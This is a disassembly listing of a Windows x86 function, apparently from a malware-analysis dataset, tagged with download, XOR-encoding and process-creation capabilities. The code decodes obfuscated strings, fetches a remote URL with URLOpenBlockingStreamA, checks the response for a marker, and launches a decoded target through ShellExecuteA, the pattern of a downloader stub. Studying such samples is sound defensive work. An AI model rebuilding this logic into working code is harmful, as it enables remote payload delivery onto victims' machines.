Function at 0x428740
Capabilities:
Create process on windows
Download url
Encode data using xor
Receive data
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x432167
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1c0
mov dword [ebp - 0x10], 0
xor ecx, ecx
mov dword [ebp - 0x14], 0x584d5247
mov dword [ebp - 0x10], 0x100475a
lea eax, [ecx + 0x2a]
xor byte [ebp + ecx - 0x14], al
inc ecx
cmp ecx, 6
jb 0x428775
push ecx
lea eax, [ebp - 0xe]
mov byte [ebp - 0xd], 0
push eax
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0xa0]
call fcn.0042fa90
mov dword [ebp - 4], 0
xor ecx, ecx
mov dword [ebp - 0x1c], 0x5d414a5c
mov word [ebp - 0x18], 0x57
mov byte [ebp - 0x16], 1
lea eax, [ecx + 0x2a]
xor byte [ebp + ecx - 0x1c], al
inc ecx
cmp ecx, 5
jb 0x4287b4
push ecx
lea eax, [ebp - 0x17]
mov byte [ebp - 0x16], 0
push eax
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0xb8]
call fcn.0042fa90
mov byte [ebp - 4], 1
xor ecx, ecx
mov dword [ebp - 0x10], 0x1004565
lea eax, [ecx + 0x2a]
xor byte [ebp + ecx - 0x10], al
inc ecx
cmp ecx, 2
jb 0x4287e6
push ecx
lea eax, [ebp - 0xe]
mov byte [ebp - 0xd], 0
push eax
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x40]
call fcn.0042fa90
mov byte [ebp - 4], 2
lea eax, [ebp - 0xa0]
cmp dword [ebp - 0x8c], 0x10
push dword [ebp - 0x90]
cmovae eax, dword [ebp - 0xa0]
push eax
push ecx
lea ecx, [ebp - 0x40]
call fcn.0042f7f0
mov dword [ebp - 0x48], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x44], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x58], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x48], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xb8]
mov byte [ebp - 4], 3
push eax
lea edx, [ebp - 0x58]
lea ecx, [ebp - 0x70]
call fcn.0042f9e0
add esp, 4
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x4288b4
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4288aa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4288f0
push ecx
push edx
call fcn.00430e84
add esp, 8
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0x10
jb 0x428900
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4288f6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4288f6
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00430e84
add esp, 8
cmp dword [0x4bb8e8], 0x10
lea ecx, [ebp - 0x24]
push 0
push 0
mov eax, 0x4bb8d4
mov dword [ebp - 0x30], 0
cmovae eax, dword [0x4bb8d4]
push ecx
push eax
push 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
call dword [sym.imp.urlmon.dll_URLOpenBlockingStreamA]
test eax, eax
je 0x428a05
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0x10
jb 0x42896e
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x428964
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4289e2
push ecx
push edx
call fcn.00430e84
add esp, 8
mov ecx, dword [ebp - 0xa4]
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
cmp ecx, 0x10
jb 0x4289b6
mov edx, dword [ebp - 0xb8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4289ac
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4289e2
push ecx
push edx
call fcn.00430e84
add esp, 8
mov ecx, dword [ebp - 0x8c]
cmp ecx, 0x10
jb 0x4289f2
mov edx, dword [ebp - 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4289e8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4289e8
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00430e84
add esp, 8
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x100]
mov dword [ebp - 0x168], 0x4b76b4
mov dword [ebp - 0x158], 0x4b7650
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::constructor_void_]
push 0
lea eax, [ebp - 0x150]
mov byte [ebp - 4], 7
push eax
lea ecx, [ebp - 0x168]
mov dword [ebp - 0x10], 0xff
call dword [sym.imp.MSVCP140.dll_public:_void___thiscall_std::basic_iostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char____]
mov dword [ebp - 4], 8
mov eax, dword [ebp - 0x168]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebp - 0x168]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x16c], eax
lea ecx, [ebp - 0x150]
call dword [sym.imp.MSVCP140.dll_protected:_void___thiscall_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void_]
mov dword [ebp - method.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_stringbuf_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x114], 0
mov byte [ebp - 4], 9
lea edx, [ebp - 0x20]
mov eax, dword [ebp - 0x24]
push edx
push 0x64
lea edx, [ebp - 0x1cc]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0xc]
mov eax, dword [ebp - 0x20]
test eax, eax
je 0x428af3
nop
push 0
push eax
lea eax, [ebp - 0x1cc]
push eax
lea ecx, [ebp - 0x158]
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const___long_long___int64__]
mov eax, dword [ebp - 0x24]
lea edx, [ebp - 0x20]
push edx
push 0x64
lea edx, [ebp - 0x1cc]
mov ecx, dword [eax]
push edx
push eax
call dword [ecx + 0xc]
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x428ac0
mov eax, dword [ebp - 0x24]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x168]
call fcn.0042ee30
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x70]
cmp dword [ebp - 0x5c], 0x10
lea eax, [ebp - 0x88]
cmovae ecx, dword [ebp - 0x70]
cmp dword [ebp - 0x74], 0x10
push ecx
cmovae eax, dword [ebp - 0x88]
push eax
call dword [sym.imp.VCRUNTIME140.dll_strstr]
add esp, 8
test eax, eax
je 0x428d47
movaps xmm0, xmmword [0x4b7bc0]
xor ecx, ecx
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x30], 0x135d5d5d
mov dword [ebp - 0x2c], 0x6e2d505d
mov word [ebp - 0x28], pe_nt_image_headers32
lea eax, [ecx + 0x2a]
xor byte [ebp + ecx - 0x40], al
inc ecx
cmp ecx, 0x18
jb 0x428b62
push ecx
lea eax, [ebp - 0x28]
mov byte [ebp - 0x27], 0
push eax
lea eax, [ebp - 0x40]
push eax
lea ecx, [ebp - 0x58]
call fcn.0042fa90
cmp dword [ebp - 0x44], 0x10
lea eax, [ebp - 0x58]
push 1
cmovae eax, dword [ebp - 0x58]
push 0
push 0
push eax
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, dword [ebp - 0x44]
cmp ecx, 0x10
jb 0x428bd7
mov edx, dword [ebp - 0x58]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x428bcd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428d27
push ecx
push edx
call fcn.00430e84
add esp, 8
mov ecx, dword [ebp - 0x74]
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0xf
mov byte [ebp - 0x58], 0
cmp ecx, 0x10
jb 0x428c20
mov edx, dword [ebp - 0x88]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x428c16
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428d27
push ecx
push edx
call fcn.00430e84
add esp, 8
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x74], 0xf
mov byte [ebp - 0x88], 0
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.virtual_0], vtable.std::basic_stringstream_char__struct_std::char_traits_char___class_std::allocator_char__.0
mov eax, dword [ebp - 0x168]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x68]
mov dword [ebp + ecx - 0x16c], eax
lea ecx, [ebp - 0x150]
call fcn.0042ed80
lea ecx, [ebp - 0x148]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_iostream_char__struct_std::char_traits_char__::destructor_void_]
lea ecx, [ebp - 0x100]
call dword [sym.imp.MSVCP140.dll_public_virtual:_void___thiscall_std::basic_ios_char__struct_std::char_traits_char__::destructor_void_]
mov ecx, dword [ebp - 0x5c]
cmp ecx, 0x10
jb 0x428cb3
mov edx, dword [ebp - 0x70]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x428ca9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428d27
push ecx
push edx
call fcn.00430e84
add esp, 8
mov ecx, dword [ebp - 0xa4]
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x5c], 0xf
mov byte [ebp - 0x70], 0
cmp ecx, 0x10
jb 0x428cfb
mov edx, dword [ebp - 0xb8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x428cf1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x428d27
push ecx
push edx
call fcn.00430e84
add esp, 8
mov ecx, dword [ebp - 0x8c]
cmp ecx, 0x10
jb 0x428d37
mov edx, dword [ebp - 0xa0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x428d2d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x428d2d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00430e84
add esp, 8
mov ecx, dword [ebp - 0xc]
xor eax, eax
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3